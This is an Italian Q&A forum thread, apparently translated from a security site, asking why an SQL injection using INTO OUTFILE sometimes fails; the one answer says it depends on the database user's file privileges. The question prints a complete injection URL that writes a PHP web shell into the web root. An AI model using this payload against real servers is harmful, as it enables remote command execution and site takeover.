Perché la tecnica di SQL Injection INTO OUTFILE a volte non funziona? [chiuso]

Question

#1 da (3 voti)

0

Perché la tecnica di SQL Injection INTO OUTFILE a volte non funziona?

http://example.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

C'è qualche soluzione per questo quando non lo fa?

php sql-injection

posta Sec Researcher 27.09.2015 - 02:35

fonte

1 risposta

Leggi altre domande sui tag php sql-injection

score 3 · Answer 1

3

Dipende dai privilegi che ha il dbuser. Se non ci sono privilegi di file, in outfile non funziona. Nessun bypass per questo.

risposta data 27.09.2015 - 04:05

fonte